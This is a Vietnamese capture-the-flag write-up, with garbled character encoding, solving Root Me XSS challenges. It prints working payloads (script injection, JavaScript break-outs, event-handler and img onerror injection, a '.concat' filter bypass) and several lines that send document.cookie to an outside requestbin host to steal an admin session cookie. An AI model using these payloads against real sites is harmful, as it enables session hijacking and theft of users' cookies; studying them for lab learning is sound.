βοΈ[Root me] Writeup XSS Challenge
XSS - Stored 1
Trong bΓ i nΓ y nΓ y basic, khi vΓ o chΓΊng ta sαΊ½ thαΊ₯y interface nhΖ° nΓ y:

CΓ³ form Δiα»n Title vΓ Mesage khi ΔΓ³ chΓΊg ta hΓ£y thα» gα»i lΓͺn mα»t ΔoαΊ‘n message nhΖ° ngΖ°α»i dΓΉng bΓ¬nh thΖ°α»ng, tiαΊΏp ΔΓ³ thα» chΓ¨n ΔoαΊ‘n script: <script>alert(1)</script>
Khi ΔΓ³ chΓΊng ta thαΊ₯y script nΓ y chΓ¨n thΓ nh cΓ΄ng vΓ o span tag vΓ o payload thΓ nh cΓ΄ng tα»« ΔΓ³ chΓΊng ta thay alert() thΓ nh document.location="https://eoqnvkovg5mm73q.m.pipedream.net?c="+document.cookie
Chα» mα»t phΓΊt sau cookie sαΊ½ Δược gα»i vα» requestbin
XSS DOM Based β Introduction
Trong bΓ i nΓ y thΓ¬ khi vΓ o nΓ³ cho mα»t input nhαΊp tα»« 0 tα»i 100, thα» nhαΊp 100 xem nΓ³ sαΊ½ ra gΓ¬:

Ctr+U Δα» mα» source code lΓͺn xem nhΖ° nΓ o:

α» ΔΓ’y ta thαΊ₯y rαΊ±ng cΓ³ mα»t biαΊΏn lΓ number vΓ khi ta nhαΊp sα» lΓ biαΊΏn number Δược gΓ‘n vΓ o:
Γ tΖ°α»ng bΓ i nΓ y thΓ¬ chΓΊng ta sαΊ½ break out JS bαΊ±ng cΓ‘ch '; hoαΊ·c '-
';alert(1)// hoαΊ·c '-alert(1)//

Payload thΓ nh cΓ΄ng!!! Khi ΔΓ³ ΔoαΊ‘n script nΓ³ sαΊ½ nhΖ° nΓ y:

VαΊy nhΖ° bΓ i trΓͺn chΓΊng ta lαΊ‘i thay payload nhΖ° nΓ y trΓͺn URL
http://my-url/number=%27%3Bdocument.location%3D%22https%3A%2F%2Feoqnvkovg5mm73q.m.pipedream.net%3Fc%3D%22%2Bdocument.cookie//
VΓ¬ XSS lΓ lα» hα»ng client side nΓͺn chΓΊng ta sαΊ½ gα»i nΓ³ tα»« contact cho admin:

Khi ΔΓ³ con bot sαΊ½ leak cookie cα»§a admin vα» khi admin nhαΊ₯p vΓ o Δα»c:
XSS Reflected
BΓ i nΓ y nhΓ¬n qua thΓ¬ khΓ΄ng cΓ³ form Δα» test XSS mΓ Δα» bΓ i lΓ Reflected XSS nΓͺn chΓΊng ta sαΊ½ xem xΓ©t α» URL:
NαΊΏu chΓΊng ta thay Δα»i p=sha1 thΓ¬ nΓ³ sαΊ½ ra gΓ¬:
NΓ³ sαΊ½ ra nhΖ° nΓ y, tiαΊΏp ΔΓ³ mα» source code kiαΊΏm tra:
ThαΊ₯y rαΊ±ng p=sha1 lΓ giΓ‘ trα» cα»§a thuα»c tΓnh href nhΖ° vαΊy chΓΊng ta cαΊ§n suy nghΔ©a lΓ m sao Δα» chΓ¨n Δược vΓ o ΔΓ’y.
DΓΉng thuα»c tΓnh onmousover hoαΊ·c onclick Δα» thΓͺm vΓ o thαΊ» <a> nhΖ°ng nΓͺn nhα» rαΊ±ng thΖ°α»ng thΓ¬ admin sαΊ½ khΓ΄ng nhαΊ₯p vΓ o link lαΊ‘ nΓͺn α» ΔΓ’y chΓΊng ta chα»n omouseover, khi ΔΓ³ ΔoαΊ‘n gαΊ―n shau p sαΊ½ lΓ :
sha1' onmousemove='alert(1)


Khi ΔΓ³ payload sαΊ½ nhΖ° nΓ y:
sha1' onmousemove='document.location="https://eoqnvkovg5mm73q.m.pipedream.net?c=".concat(document.cookie)
NΓͺn nhα» rαΊ±ng chΓΊng ta phαΊ£i dΓΉng nα»i chuα»i .concat trong JS vΓ¬ dαΊ₯u + ΔΓ£ bα» filter Δi
Sau khi gα»i vΓ report cho admin thΓ¬ chΓΊng ta chα» mα»t phΓΊt Δα» con bot leak thΓ΄ng tin vΓ gα»i vα» requestbin
XSS - Stored 2
Interface khΓ‘ giα»ng vα»i bΓ i Stored 1 nhΖ°ng chα» cΓ³ Δiα»u nΓ³ thΓͺm status
BαΊt source code lΓͺn kiα»m tra thΓ¬ cΓ³ mα»t class Δược ΔαΊ·t lΓ invite
Γ tΖ°α»ng sαΊ½ dΓΉng Burp suite Δα» bαΊ―t hΓ nh Δα»ng:
NhαΊn thαΊ₯y Cookie cΓ³ status:invite, vαΊy thΓ¬ chΓΊng ta hay thα» thay Δα»i giΓ‘ trα» status xem nhΖ° nΓ o:
Khi ΔΓ³ chΓΊng ta forward Δα» trang web gα»i lΓͺn sever vΓ nhαΊn ra rαΊ±ng status ΔΓ£ thay Δα»i
Γ tΖ°α»ng bΓ’y giα» lΓ break out ΔoαΊ‘n souce code nΓ y:
α» ΔΓ’y payload lΓΊc ΔΓ³ sαΊ½ lΓ "><img scr=1 onerror=alert(1) /> ("> Δα» ΔΓ³ng thαΊ» i lαΊ‘i)
Payload thΓ nh cΓ΄ng giα» chα» cαΊ§n thay alert() thΓ nh document....vΓ gα»i nΓ³ lΓͺn, Δợi mα»t lΓΊc thΓ¬ Δược trαΊ£ vα» ADMIN_COOKIE nhΖ° nΓ y<<<LΖ°u Γ½: cΓ³ thα» dΓΉng .concat Δα» nα»i chuα»i nαΊΏu bα» filter dαΊ₯u + >>

LΓΊc ΔαΊ§u mΓ¬nh nghΔ©a ΔΓ’y lΓ flag nhΖ°ng khΓ΄ng ΔΓΊng, thΓ¬ chợt nhαΊn ra status nΓ³ lΓ invite thΓ¬ mΓ¬nh cαΊ§n thay Δα»i cookie vΓ reload lαΊ‘i trang:
Cookie: status=invite; ADMIN_COOKIE=SY2USDIH78TF3DFU78546TE7F
CΓ‘c phαΊ§n tiαΊΏp theo sαΊ½ Δược cαΊp nhαΊt trong thα»i gian sα»m nhαΊ₯t cαΊ£m Ζ‘n cΓ‘c bαΊ‘n ΔΓ£ Δα»c bΓ i...
Last updated